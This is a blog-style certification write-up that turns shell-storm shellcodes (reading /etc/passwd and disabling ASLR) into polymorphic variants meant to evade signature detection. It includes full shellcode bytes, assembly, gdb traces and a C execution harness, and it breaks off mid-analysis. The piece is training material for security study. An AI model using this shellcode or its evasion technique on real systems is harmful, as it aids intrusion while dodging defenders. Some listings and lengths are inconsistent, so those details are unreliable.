Student ID : SLAE - 1314
Assignment 6:
In this assignment, polymorphism will be shown in practice. The following three shellcodes posted on shell-sotrm.org will be used
- The goal of this assignment is to take up three shellcodes from Shell-Storm and create polymorphic versions of them to beat pattern matching.
- The polymorphic versions cannot be larger 150% of the existing Shellcode
- Bonus points for making it shorter in length than the original
Disclaimer :
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification
Polymorphism is a technique that is used to create code mutation keeping the initial functionality intact. That is, the code changes, but the functionality of the code will not change at all. This method for example is needed in order to obfuscate the executable to evade Antivirus detection mechanism.
Furthermore, there is a need to understand how the arguments passed into system calls in x86 assembly. The arguments are passed into system calls as follows, for 32-bit calls, eax contains the system call number, and its parameters are placed in ebx, ecx, edx, esi, edi, and ebp. To be more specific of how the arguments passed into the system calls, the Linux Syscall Reference is a helpful online resource that references the system calls and their arguments in relation with the x86 registers.
Tiny read file shellcode
Read the passwd file
The first shellcode to be examined in order to perform polymorphic changes is the Tiny read file which is available here. This shellcode reads from inside the /etc/passwd file and then outputs the contents of the file in the console. Proceeding further to analyse the shellcode there is a need to generate a disassembly listing of the original shellcode in order to get the assembly code and instructions.
root@slae:/home/xenofon/Documents/Assignment6# echo -ne "\x31\xc9\xf7\xe1\xb0\x05\x51\x68\x73\x73\x77\x64\x68\x63\x2f\x70\x61\x68\x2f\x2f\x65\x74\x89\xe3\xcd\x80\x93\x91\xb0\x03\x31\xd2\x66\xba\xff\x0f\x42\xcd\x80\x92\x31\xc0\xb0\x04\xb3\x01\xcd\x80\x93\xcd\x80" | ndisasm -u -
00000000 31C9 xor ecx,ecx
00000002 F7E1 mul ecx
00000004 B005 mov al,0x5
00000006 51 push ecx
00000007 6873737764 push dword 0x64777373
0000000C 68632F7061 push dword 0x61702f63
00000011 682F2F6574 push dword 0x74652f2f
00000016 89E3 mov ebx,esp
00000018 CD80 int 0x80
0000001A 93 xchg eax,ebx
0000001B 91 xchg eax,ecx
0000001C B003 mov al,0x3
0000001E 31D2 xor edx,edx
00000020 66BAFF0F mov dx,0xfff
00000024 42 inc edx
00000025 CD80 int 0x80
00000027 92 xchg eax,edx
00000028 31C0 xor eax,eax
0000002A B004 mov al,0x4
0000002C B301 mov bl,0x1
0000002E CD80 int 0x80
00000030 93 xchg eax,ebx
00000031 CD80 int 0x80
Furthermore, the above instructions need to be isolated to a new file with the correct format for example polytiny.nasm and then analyzing it using gdb.
root@slae:/home/xenofon/Documents/Assignment6# echo -ne "\x31\xc9\xf7\xe1\xb0\x05\x51\x68\x73\x73\x77\x64\x68\x63\x2f\x70\x61\x68\x2f\x2f\x65\x74\x89\xe3\xcd\x80\x93\x91\xb0\x03\x31\xd2\x66\xba\xff\x0f\x42\xcd\x80\x92\x31\xc0\xb0\x04\xb3\x01\xcd\x80\x93\xcd\x80" | ndisasm -u - | awk -F" " '{ print "\t" $3" "$4" "$5 }' | sed '1 i\\nglobal _start\n\nsection .text\n\n_start:'
global _start
section .text
_start:
xor ecx,ecx
mul ecx
mov al,0x5
push ecx
push dword 0x64777373
push dword 0x61702f63
push dword 0x74652f2f
mov ebx,esp
int 0x80
xchg eax,ebx
xchg eax,ecx
mov al,0x3
xor edx,edx
mov dx,0xfff
inc edx
int 0x80
xchg eax,edx
xor eax,eax
mov al,0x4
mov bl,0x1
int 0x80
xchg eax,ebx
int 0x80
root@slae:/home/xenofon/Documents/Assignment6# echo -ne "\x31\xc9\xf7\xe1\xb0\x05\x51\x68\x73\x73\x77\x64\x68\x63\x2f\x70\x61\x68\x2f\x2f\x65\x74\x89\xe3\xcd\x80\x93\x91\xb0\x03\x31\xd2\x66\xba\xff\x0f\x42\xcd\x80\x92\x31\xc0\xb0\x04\xb3\x01\xcd\x80\x93\xcd\x80" | ndisasm -u - | awk -F" " '{ print "\t" $3" "$4" "$5 }' | sed '1 i\\nglobal _start\n\nsection .text\n\n_start:' > polytiny.nasm
Before analysing the shellcode, it must be compiled using the following commands
root@slae:/home/xenofon/Documents/Assignment6# nasm -f elf32 -F dwarf -g -o polytiny.o polytiny.nasm
root@slae:/home/xenofon/Documents/Assignment6# ld -z execstack -o polytiny polytiny.o
Then the debugging process of the executable file can be done using gdb as shown below
root@slae:/home/xenofon/Documents/Assignment6# gdb -q ./polytiny
Reading symbols from /home/xenofon/Documents/Assignment6/polytiny...done.
(gdb) set disassembly-flavor intel
(gdb) b _start
Breakpoint 1 at 0x8048080: file polytiny.nasm, line 7.
(gdb) r
Starting program: /home/xenofon/Documents/Assignment6/polytiny
Breakpoint 1, _start () at polytiny.nasm:7
In order to have an overview of the executed file, the disass gdb command can be used as follows
(gdb) disass
Dump of assembler code for function _start:
=> 0x08048080 <+0>: xor ecx,ecx
0x08048082 <+2>: mul ecx
0x08048084 <+4>: mov al,0x5
0x08048086 <+6>: push ecx
0x08048087 <+7>: push 0x64777373
0x0804808c <+12>: push 0x61702f63
0x08048091 <+17>: push 0x74652f2f
0x08048096 <+22>: mov ebx,esp
0x08048098 <+24>: int 0x80
0x0804809a <+26>: xchg ebx,eax
0x0804809b <+27>: xchg ecx,eax
0x0804809c <+28>: mov al,0x3
0x0804809e <+30>: xor edx,edx
0x080480a0 <+32>: mov dx,0xfff
0x080480a4 <+36>: inc edx
0x080480a5 <+37>: int 0x80
0x080480a7 <+39>: xchg edx,eax
0x080480a8 <+40>: xor eax,eax
0x080480aa <+42>: mov al,0x4
0x080480ac <+44>: mov bl,0x1
0x080480ae <+46>: int 0x80
0x080480b0 <+48>: xchg ebx,eax
0x080480b1 <+49>: int 0x80
End of assembler dump.
Furthermore, the stepin (si) gdb command can be used in order to follow the executable instructions step by step and check how the program deals with registers and memory. As seen above in red, the first command xor ecx, ecx is zeroing out the ecx register. The next command, mul ecx used to zero out the eax register because the mul instruction always performs multiplication with eax register.
Breakpoint 1, _start () at polytiny.nasm:7
7 xor ecx,ecx
(gdb) p/x $ecx
$2 = 0x0
(gdb) si
8 mul ecx
(gdb) p/x $eax
$1 = 0x0
(gdb)
the above xor ecx, ecx instruction can be altered without affecting the functionality of the program. The xor ecx, ecx can be changed to the following instruction performing equivalent operation.
; Original Shellcode Instructions
xor ecx, ecx
;Altered Shellcode Instructions
shr ecx, 16
The shr eax, 16 shifts the bits within the destination operand to the right by 16 positions affecting the lower half of the 32-bit register. This operation is zeroing out the cx register, but it is also increasing the length of the final shellcode because it consumes more space than the xor instruction.
From the original shellcode, the next instructions are used to implement the open system call.
mov al,0x5
push ecx
push dword 0x64777373
push dword 0x61702f63
push dword 0x74652f2f
mov ebx,esp
int 0x80
the mov al, 0x5 instruction puts the immediate value 0x5 inside the lower byte register al, thus indicates the open system call according with the definition found at unistd_32.h header file as shown at the screenshot below
Furthermore, checking the open system call synopsis found here there are more than one prototypes, but at the current case the following used.
int open(const char *pathname, int flags);
The above function takes two arguments, the pathname of type const char* and the flags of type int. The pathname indicates the location of the file inside the filesystem and the flags constitute of the bitwise 'or' separated list of values that determine the method in which the file will be opened (whether it should be read only, read/write, .etc).
The push ecx instruction pushes the ecx register ( which holds the zero value ) into the stack
(gdb) p/s $ecx
$1 = 0
(gdb)
The push ecx instruction indicates the first parameter of the open system call starting from left to right. Pushing the zero value into the stack indicates the O_RDONLY flag which stands for read only. The instruction can be altered as follows
; Original Shellcode Instructions
push ecx
; Altered Shellcode Instructions
mov dword [esp-4], ecx
sub esp, 4
The above two instructions are performing the same thing as the push ecx instruction does. In more detail, ecx stored in memory using stack pointer minus 4 [esp-4] which is the esp offset referring to the type of the variable kept by ecx register which is a type of DWORD that stands for 32-bit unsigned integer holding 4 bytes in memory. In order to reserve the available space in stack the sub esp, 4 instruction used, which makes room for a 4 byte local variable.
Following, at the next three instructions from the original shellcode, the path of passwd file ( /etc/passwd ) pushed in reverse order into the stack using the three instructions shown below
;//etc/passwd
push dword 0x64777373
push dword 0x61702f63
push dword 0x74652f2f
Using some python scripting the above hexadecimal values are decoded into characters in reverse order
>>> "64777373".decode("hex")
'dwss'
>>> "61702f63".decode("hex")
'ap/c'
>>> "74652f2f".decode("hex")
'te//'
>>>
In order to examine the values pushed into the stack, the produced output can be checked.
Dump of assembler code for function _start:
0x08048080 <+0>: xor ecx,ecx
0x08048082 <+2>: mul ecx
0x08048084 <+4>: mov al,0x5
0x08048086 <+6>: push ecx
0x08048087 <+7>: push 0x64777373
0x0804808c <+12>: push 0x61702f63
0x08048091 <+17>: push 0x74652f2f
=> 0x08048096 <+22>: mov ebx,esp
0x08048098 <+24>: int 0x80
0x0804809a <+26>: xchg ebx,eax
0x0804809b <+27>: xchg ecx,eax
0x0804809c <+28>: mov al,0x3
0x0804809e <+30>: xor edx,edx
0x080480a0 <+32>: mov dx,0xfff
0x080480a4 <+36>: inc edx
0x080480a5 <+37>: int 0x80
0x080480a7 <+39>: xchg edx,eax
0x080480a8 <+40>: xor eax,eax
0x080480aa <+42>: mov al,0x4
0x080480ac <+44>: mov bl,0x1
0x080480ae <+46>: int 0x80
0x080480b0 <+48>: xchg ebx,eax
0x080480b1 <+49>: int 0x80
End of assembler dump.
14 mov ebx,esp
(gdb) x/12cb $esp
0xbffff730: 47 '/' 47 '/' 101 'e' 116 't' 99 'c' 47 '/' 112 'p' 97 'a'
0xbffff738: 115 's' 115 's' 119 'w' 100 'd'
(gdb)
The altered instructions below are doing the same thing as the push instruction. Particularly, the three mov commands shown above are moving the //etc/passwd path into the 12 bytes reserved space on stack using instruction sub esp, 0ch where all the variables with 3*4 bytes length are aligned.
;instructions from original shellcode
;//etc/passwd
push dword 0x64777373
push dword 0x61702f63
push dword 0x74652f2f
; altered instructions
mov dword [esp-4],0x64777373
mov dword [esp-8], 0x61702f63
mov dword [esp-0ch], 0x74652f2f
sub esp, 0ch
Furthermore, the mov ebx, esp instruction will be used to set the new base pointer at the top of the stack after pushing all the function parameters into the stack.
mov ebx, esp
Additionally, for the sake of polymorphism the following open system call will be used instead of the one discussed before which initially used from the original shellcode.
int open(const char *pathname, int flags, mode_t mode);
The function above has one extra argument named mode of type mode_t. The argument mode represents the permissions in case a new file is created using the open function call with the O_CREAT flag. If a new file is not being created then this argument is ignored. In this case the shellcode only reads from /etc/passwd file which is a system file already created from the Linux operating system. According to the open function prototype one extra instruction will be added that will assign the extra mode to the opened file.
;Altered Shellcode Instruction
mov dx, 0x1bc
The above instruction is adding the permission mode 0x1bc in hex which is 444 in decimal that defines the read, permissions to the opened file for the owner, the group and others. Nevertheless, because the file already exists the instruction above is useless thus providing a polymorphic change to the shellcode.
Then the int 0x80 instruction used to execute the system call referred by the 0x5 value that moved earlier inside the lower byte register al.
int 0x80
The next instruction from the original shellcode used to exchange the eax as well as the ebx register values.
xchg eax,ebx
The open system call returns a file descriptor of the open file, along with the assigned permissions which can be used to allow reading the file. The eax register is holding the returned file descriptor from the open system call which will then be assigned at ebx register when the instruction executes. The ebx register represents the first argument of the read system call. Also, the eax register will temporarily hold the data returned from the open system call. The read system call synopsis can be seen here
#include <unistd.h> ssize_t read(int fd, void *buf, size_t count);
The read system call takes three arguments, the file descriptor fd of type int , the buffer buf of type void* holding the data to be read and the count of type size_t which provides the size of the data stored in buf. Now that the ebx register holds the file descriptor, using the next instruction
xchg eax,ecx
After the execution of the instruction above, the ecx register will now hold the data stored temporarily at eax after the use of the xchg eax, ebx instruction. The ecx represents the second argument of the read system call and holds the buffered data of the opened file. The eax register will now be assigned with zero. In order to achieve polymorphism the above two instructions can be changed into the following instructions that are performing the same operation.
;Altered Shellcode Instructions
;xchg ebx, eax
mov edi, eax
mov eax, ebx
mov ebx, edi
;xchg ecx, eax
mov esi, eax
mov eax, ecx
mov ecx, esi
The above instructions are doing the same thing as the previous instructions did with the use of the xchg command. The only drawback here is that the above instructions are increasing the length of the polymorphic version of the shellcode. So, in order to minimise the length, the above instructions can be altered as follows.
;Altered Shellcode Instructions
mov ecx, ebx
mov ebx, eax
In regard with the opened file ( /etc/passwd ), the mov ecx, ebx is assigning the data held in ebx inside the ecx register and the second instruction mov ebx, eax is assigning the file descriptor of the opened file to the ebx register.
Now, one argument left to complete the read function. The third argument holds the size of the buffered data. This indicates the length of the buffer as needed from the operating system in order to reserve the available space for storing the data.
Following, The read system call will be called in order to read the data using the file descriptor returned from the open system call. Before proceeding to call the read system call, first the system call number 0x3 needs to be stored into the lower byte register al (avoiding nulls).
;read from file
mov al, 3
The following instructions are used to indicate the length of the buffer that holds the data. In this case the buffer size is 4096 bytes. The lower half of the 32-bit edx register, the dx register is holding 4095 bytes which in hex is 0xfff. Then the inc instruction increments the contents of its operand by one turning into 4096.
mov dx, 0xfff
inc edx
Below there is a short analysis of how the null values can be generated if another technique used for the same operation. For example, if the writer used the following instructions mov dx, 0x1000, then null values would exist inside the shellcode as shown in red below
root@slae:/home/xenofon/Documents/Assignment6# objdump -d tn -M intel
tn: file format elf32-i386
Disassembly of section .text:
08048080 <_start>:
8048080: 31 d2 xor edx,edx
8048082: f7 e1 mul ecx
8048084: b0 05 mov al,0x5
8048086: 51 push ecx
8048087: c7 44 24 fc 73 73 77 mov DWORD PTR [esp-0x4],0x64777373
804808e: 64
804808f: c7 44 24 f8 63 2f 70 mov DWORD PTR [esp-0x8],0x61702f63
8048096: 61
8048097: c7 44 24 f4 2f 2f 65 mov DWORD PTR [esp-0xc],0x74652f2f
804809e: 74
804809f: 83 ec 0c sub esp,0xc
80480a2: 89 e3 mov ebx,esp
80480a4: 66 ba bc 02 mov dx,0x2bc
80480a8: cd 80 int 0x80
80480aa: 89 c7 mov edi,eax
80480ac: 89 d8 mov eax,ebx
80480ae: 89 fb mov ebx,edi
80480b0: 89 c6 mov esi,eax
80480b2: 89 c8 mov eax,ecx
80480b4: 89 f1 mov ecx,esi
80480b6: b0 03 mov al,0x3
80480b8: 66 8b 15 00 10 00 00 mov dx,WORD PTR ds:0x1000
80480bf: cd 80 int 0x80
80480c1: 31 c0 xor eax,eax
80480c3: b0 04 mov al,0x4
80480c5: b3 01 mov bl,0x1
80480c7: cd 80 int 0x80
80480c9: 31 c0 xor eax,eax
80480cb: b0 01 mov al,0x1
80480cd: cd 80 int 0x80
Furthermore, if an immediate value used, such as mov dx, 4096, it will also produce null bytes as follows
80480b8: 66 ba 00 10 mov dx,0x1000
So, the concept here is to find out the values to use in order to assign 4096 bytes as buffer length into the dx register, and also to produce a polymorphic version of the original instructions. Consequently, the following instructions can be used to achieve a polymorphic version without producing any null bytes.
; From original shellcode
mov dx, 0xfff
inc edx
;Altered Shellcode Instructions
;polymorphic version ( this two instructions perform the addition operation )
mov dx, 0xFFe ; this value represents 4094 in hex
inc dx ; this instruction increases by one the value held in dx register
The mov dx, 0xffe instruction moves the 4094 decimal value into dx register, and the inc dx instruction increases by one the hex value held by dx register. The result of the inc instruction produces the decimal value 4096 which constitutes the needed byte length of the buffer. In addition, the inc instruction has been chosen because it produces lower length shellcode comparing to other instructions such as for example the add instruction that performs the addition operation.
Moving further, in order to be sure that no null bytes produced when compiling the code, the compiled code can be checked using the following command
root@slae:/home/xenofon/Documents/Assignment6# objdump -d polytiny -M intel
[...]
80480b4: 89 f1 mov ecx,esi
80480b6: b0 03 mov al,0x3
80480b8: 66 ba e7 0f mov dx,0xfe7
80480bc: 83 c2 19 add edx,0x19
80480bf: cd 80 int 0x80
[........]
The produced bytecodes from running the above command are not containing any null bytes, so there is a green light to continue further to analyse and modify the rest of the instructions. Continuing further, the next instructions are representing the write system call used to print the output onto the console.
; Original Shellcode Instructions
xor eax, eax
mov al, 4
mov bl, 1
int 0x80
The xor eax, eax used to zero out the eax register and then the mov al, 4 used to assign the immediate value 4 into the lower byte register al, which indicates the write system call. Furthermore, mov bl, 1 instruction used to assign the immediate value 1 at the lower byte register bl, indicating the file descriptor of standard output. Then, using instruction mov bl, 1 the write system call will print the contents of /etc/passwd file onto the console. The instruction int 0x80 calls the write system call.
The following the instruction in red used in order to achieve polymorphism of the write operation produced by write system call.
xor eax, eax
mov al, 4
; Altered Shellcode Instruction
sub bl, 2
int 0x80
The xor eax, eax instruction used to zero out the eax register while the instruction mov al, 4 assigns the immediate value of 4 at the lower byte resister al which indicates the write system call. Then the immediate value 0x1 which indicates the standard output file descriptor, assigned at the lower byte register bl after substitution with immediate value 2. In more detail, the substitution worked here because the ebx register has had the file descriptor value 0x3 returned earlier from the open function call. Later on, the instruction int 0x80 used to call the write system call.
Lastly, the instructions shown below are implementing the exit system call at the original shellcode.
xchg eax,ebx
int 0x80
Specifically, the shellcode writer has been chosen to use the xchg instruction in order to exchange the values held by ebx and eax registers accordingly. Using this method the exit system call implemented in two instructions minimising the length of the final shellcode. To this end, in order to achieve polymorphism the above instructions will be modified with instructions in red as follows
; Altered Shellcode Instructions
xor eax, eax
inc al
int 0x80
The above instructions are used to implement the exit system call. The value 1 used to indicate the exit system call, so by using the instruction inc al the zero value inside the lower byte register al will be increased by one at the lower byte register al.
At this point the analysis of the shellcode "Tiny read file shellcode" is done and the final polymorphic version shown below
global _start
section .text
_start:
shr ecx, 16
mul ecx
mov al, 5
mov dword [esp-4], ecx
mov dword [esp-8], 0x64777373
mov dword [esp-0ch], 0x61702f63
mov dword [esp-10h], 0x74652f2f
sub esp, 10h
mov ebx, esp
mov dx, 0x1bc
int 0x80
mov ecx, ebx
mov ebx, eax
mov al, 3
mov dx, 0xffe
inc dx
int 0x80
xor eax, eax
mov al, 4
sub bl, 2
int 0x80
xor eax, eax
inc al
int 0x80
Now that the polymorphism has finished, a C program will be constructed to deliver the execution of the polymorphic version of the shellcode. The following command will produce the final polymorphic shellcode.
root@slae:/home/xenofon/Documents/Assignment6# objdump -d ./polytiny|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-7 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\xc1\xe9\x10\xf7\xe1\xb0\x05\x89\x4c\x24\xfc\xc7\x44\x24\xf8\x73\x73\x77\x64\xc7\x44\x24\xf4\x63\x2f\x70\x61\xc7\x44\x24\xf0\x2f\x2f\x65\x74\x83\xec\x10\x89\xe3\x66\xba\xbc\x01\xcd\x80\x89\xd9\x89\xc3\xb0\x03\x66\xba\xfe\x0f\x66\x42\xcd\x80\x31\xc0\xb0\x04\x80\xeb\x02\xcd\x80\xc1\xe8\x10\xfe\xc0\xcd\x80"
The following program will be used to deliver the execution of the new polymorphic shellcode
#include <stdio.h>
#include <srting.h>
unsigned char code[] = \
"\xc1\xe9\x10\xf7\xe1\xb0\x05\x89\x4c\x24\xfc\xc7"
"\x44\x24\xf8\x73\x73\x77\x64\xc7\x44\x24\xf4\x63"
"\x2f\x70\x61\xc7\x44\x24\xf0\x2f\x2f\x65\x74\x83"
"\xec\x10\x89\xe3\x66\xba\xbc\x01\xcd\x80\x89\xd9"
"\x89\xc3\xb0\x03\x66\xba\xfe\x0f\x66\x42\xcd\x80"
"\x31\xc0\xb0\x04\x80\xeb\x02\xcd\x80\xc1\xe8\x10"
"\xfe\xc0\xcd\x80";
main()
{
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
As seen below, compiling and running the code above will give the same output as the original shellcode
root@slae:/home/xenofon/Documents/Assignment6# gcc -fno-stack-protector -g -z execstack -m32 -o shellcode shellcode.c && ./shellcode
Shellcode Length: 76
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
syslog:x:101:103::/home/syslog:/bin/false
messagebus:x:102:105::/var/run/dbus:/bin/false
colord:x:103:108:colord colour management daemon,,,:/var/lib/colord:/bin/false
lightdm:x:104:111:Light Display Manager:/var/lib/lightdm:/bin/false
whoopsie:x:105:114::/nonexistent:/bin/false
avahi-autoipd:x:106:117:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false
avahi:x:107:118:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false
usbmux:x:108:46:usbmux daemon,,,:/home/usbmux:/bin/false
kernoops:x:109:65534:Kernel Oops Tracking Daemon,,,:/:/bin/false
pulse:x:110:119:PulseAudio daemon,,,:/var/run/pulse:/bin/false
rtkit:x:111:122:RealtimeKit,,,:/proc:/bin/false
speech-dispatcher:x:112:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/sh
hplip:x:113:7:HPLIP system user,,,:/var/run/hplip:/bin/false
saned:x:114:123::/home/saned:/bin/false
vboxadd:x:999:1::/var/run/vboxadd:/bin/false
xenofon:x:1001:1001:Xenofon,,,:/home/xenofon:/bin/bash
sshd:x:115:65534::/var/run/sshd:/usr/sbin/nologin
postgres:x:1002:1002::/home/postgres:/bin/sh
Following, the length of the new shellcode will be checked in order to be align with the rules of the exercise where the polymorphic version is not allowed to exceed the 150% of the original shellcode. The calculation below shows that the exercise rule is followed.
original shelcode length : 51
polymorphic version length : 75
51 * 1.5 = 76.5
ASLR deactivation
The next shellcode that will be used to create a polymorphic version is the "ASLR deactivation" and can be found at shell-storm.org. The ASLR refers for address-space layout randomisation and can operate in different modes, thus it could be changed in Linux, using the /proc/sys/kernel/randomize_va_space interface. The following values for this purpose are supported:
- 0 - No randomization.
- 1 - Conservative randomization. Shared libraries, stack , mmap(), VDSO and heap are randomized.
- 2 - Full randomization. In addition to elements listed in the previous point, memory managed through brk() is also randomized.
Currently, the first bullet above has been used, which is about disabling randomisation. At a glance, the logic behind writing the ASLR deactivation from the shellcode writer is the following :
- create /proc/sys/kernel/randomize_va_space file
- write the zero(0) value inside randomize_va_space file
- exit
Before beginning the analysis, the disassembly listing of the original shellcode is needed in order to get the assembly code and instructions. To do so, the following command will be used
root@slae:/home/xenofon/Documents/Assignment6# echo -ne "\x31\xc0\x50\x68\x70\x61\x63\x65\x68\x76\x61\x5f\x73\x68\x69\x7a\x65\x5f\x68\x6e\x64\x6f\x6d\x68\x6c\x2f\x72\x61\x68\x65\x72\x6e\x65\x68\x79\x73\x2f\x6b\x68\x6f\x63\x2f\x73\x68\x2f\x2f\x70\x72\x89\xe3\x66\xb9\xbc\x02\xb0\x08\xcd\x80\x89\xc3\x50\x66\xba\x30\x3a\x66\x52\x89\xe1\x31\xd2\x42\xb0\x04\xcd\x80\xb0\x06\xcd\x80\x40\xcd\x80" | ndisasm -u -
00000000 31C0 xor eax,eax
00000002 50 push eax
00000003 6870616365 push dword 0x65636170
00000008 6876615F73 push dword 0x735f6176
0000000D 68697A655F push dword 0x5f657a69
00000012 686E646F6D push dword 0x6d6f646e
00000017 686C2F7261 push dword 0x61722f6c
0000001C 6865726E65 push dword 0x656e7265
00000021 6879732F6B push dword 0x6b2f7379
00000026 686F632F73 push dword 0x732f636f
0000002B 682F2F7072 push dword 0x72702f2f
00000030 89E3 mov ebx,esp
00000032 66B9BC02 mov cx,0x2bc
00000036 B008 mov al,0x8
00000038 CD80 int 0x80
0000003A 89C3 mov ebx,eax
0000003C 50 push eax
0000003D 66BA303A mov dx,0x3a30
00000041 6652 push dx
00000043 89E1 mov ecx,esp
00000045 31D2 xor edx,edx
00000047 42 inc edx
00000048 B004 mov al,0x4
0000004A CD80 int 0x80
0000004C B006 mov al,0x6
0000004E CD80 int 0x80
00000050 40 inc eax
00000051 CD80 int 0x80
Furthermore, the above instructions need to be isolated to a new file named for example poly_aslr.nasm.
root@slae:/home/xenofon/Documents/Assignment6# echo -ne "\x31\xc0\x50\x68\x70\x61\x63\x65\x68\x76\x61\x5f\x73\x68\x69\x7a\x65\x5f\x68\x6e\x64\x6f\x6d\x68\x6c\x2f\x72\x61\x68\x65\x72\x6e\x65\x68\x79\x73\x2f\x6b\x68\x6f\x63\x2f\x73\x68\x2f\x2f\x70\x72\x89\xe3\x66\xb9\xbc\x02\xb0\x08\xcd\x80\x89\xc3\x50\x66\xba\x30\x3a\x66\x52\x89\xe1\x31\xd2\x42\xb0\x04\xcd\x80\xb0\x06\xcd\x80\x40\xcd\x80" | ndisasm -u - | awk -F" " '{ print "\t" $3" "$4" "$5 }' | sed '1 i\\nglobal _start\n\nsection .text\n\n_start:' >nbsp; poly_aslr.nasm
root@slae:/home/xenofon/Documents/Assignment6# cat poly_aslr.nasm
global _start
section .text
_start:
xor eax,eax
push eax
push dword 0x65636170
push dword 0x735f6176
push dword 0x5f657a69
push dword 0x6d6f646e
push dword 0x61722f6c
push dword 0x656e7265
push dword 0x6b2f7379
push dword 0x732f636f
push dword 0x72702f2f
mov ebx,esp
mov cx,0x2bc
mov al,0x8
int 0x80
mov ebx,eax
push eax
mov dx,0x3a30
push dx
mov ecx,esp
xor edx,edx
inc edx
mov al,0x4
int 0x80
mov al,0x6
int 0x80
inc eax
int 0x80
Before analysing the shellcode, it must be compiled using the following commands
root@slae:/home/xenofon/Documents/Assignment6# nasm -f elf32 -F dwarf -g -o poly_aslr.o poly_aslr.nasm
root@slae:/home/xenofon/Documents/Assignment6# ld -z execstack -o poly_aslr poly_aslr.o
Then the debugging process of the executable file can be done using gdb as shown below
root@slae:/home/xenofon/Documents/Assignment6# gdb -q ./sh
Reading symbols from /home/xenofon/Documents/Assignment6/sh...done.
(gdb) set disassembly-flavor intel
(gdb) b *&code
Breakpoint 1 at 0x804a040
(gdb) r
Starting program: /home/xenofon/Documents/Assignment6/sh
Shellcode Length: 83
Breakpoint 1, 0x0804a040 in code ()
(gdb)
In order to have an overview of the executed file, the disass gdb command can be used as follows
(gdb) disass
Dump of assembler code for function code:
=> 0x0804a040 <+0>: xor eax,eax
0x0804a042 <+2>: push eax
0x0804a043 <+3>: push 0x65636170
0x0804a048 <+8>: push 0x735f6176
0x0804a04d <+13>: push 0x5f657a69
0x0804a052 <+18>: push 0x6d6f646e
0x0804a057 <+23>: push 0x61722f6c
0x0804a05c <+28>: push 0x656e7265
0x0804a061 <+33>: push 0x6b2f7379
0x0804a066 <+38>: push 0x732f636f
0x0804a06b <+43>: push 0x72702f2f
0x0804a070 <+48>: mov ebx,esp
0x0804a072 <+50>: mov cx,0x2bc
0x0804a076 <+54>: mov al,0x8
0x0804a078 <+56>: int 0x80
0x0804a07a <+58>: mov ebx,eax
0x0804a07c <+60>: push eax
0x0804a07d <+61>: mov dx,0x3a30
0x0804a081 <+65>: push dx
0x0804a083 <+67>: mov ecx,esp
0x0804a085 <+69>: xor edx,edx
0x0804a087 <+71>: inc edx
0x0804a088 <+72>: mov al,0x4
0x0804a08a <+74>: int 0x80
0x0804a08c <+76>: mov al,0x6
0x0804a08e <+78>: int 0x80
0x0804a090 <+80>: inc eax
0x0804a091 <+81>: int 0x80
0x0804a093 <+83>: add BYTE PTR [eax],al
End of assembler dump.
(gdb)
As shown above, the eax register is zeroed out with xor eax, eax and then pushed into the stack with push eax.
xor eax,eax
push eax
The above instructions will be altered in order to perform polymorphism, thus the instruction xor eax, eax will be changed as follows
xor ebx,ebx
mul ebx
The xor ebx, ebx used to zero out the ebx register. Then the mul ebx instruction used to zero out the eax register because the mul instruction is performing multiplication with the eax register. So, in the current case there is an additional extra instruction that is performing a zero out operation to ebx register without causing any alteration of the initially intended functionality. Additionally, one possible drawback of using the extra instruction is that it could probably increase the length of the final shellcode, but this will be considered later. According with the analysis until now, the creat() system call will be used to open the /proc/sys/kernel/randomize_va_space file. Furthermore, the shellcode will push the arguments into the stack using the stack method.
Following, the creat() system call is shown and the full synopsis can be found at creat(3) man page
int creat(const char *pathname, mode_t mode);
The creat() system call returns an integer. There are also two arguments passed to the function, the first is the pathname of type char* and the second one is the mode of type mode</it>t. Additionally, according to creat() general description, the creat() system call is equivalent with the following call :
open(path, O_WRONLY|O_CREAT|O_TRUNC, mode)
Thus the file named by pathname is created, unless it already exists. Furthermore, the next instructions will push the following path /proc/sys/kernel/randomize_va_space into the stack in order to pass the first argument of the creat() system call.
The next instruction will push the eax register into the stack
push eax
The above instruction will be changed as follows
;Altered Instructions
mov dword [esp-4], eax
sub esp, 4
These two instructions are performing the same operation as the push eax instruction does. In more detail, eax stored in memory using stack pointer minus 4 [esp-4] which refers to the esp offset regarding the type of the variable kept by eax register which is DWORD and stands for 32-bit unsigned integer holding 4 bytes in memory. Also, in order to reserve the available space in stack the sub esp, 4 instruction has been used, which makes room for one 4 byte local variable. Also, in order to achieve a minimal length of the polymorphic version, the above instructions will be modified and merged with the following instructions that used to pass the path /proc/sys/kernel/randomize_va_space as the first argument of creat() system call.
push dword 0x65636170
push dword 0x735f6176
push dword 0x5f657a69
push dword 0x6d6f646e
push dword 0x61722f6c
push dword 0x656e7265
push dword 0x6b2f7379
push dword 0x732f636f
push dword 0x72702f2f
Additionally, the following python script will be used as shown below in order to convert the hex values into ASCII chars
#!/bin/python
print "6d6f646e".decode("hex") \
+ "735f6176".decode("hex") + \
"5f657a69".decode("hex") + \
"6d6f646e".decode("hex") + \
"61722f6c".decode("hex") + \
"656e7265".decode("hex") + \
"6b2f7379".decode("hex") + \
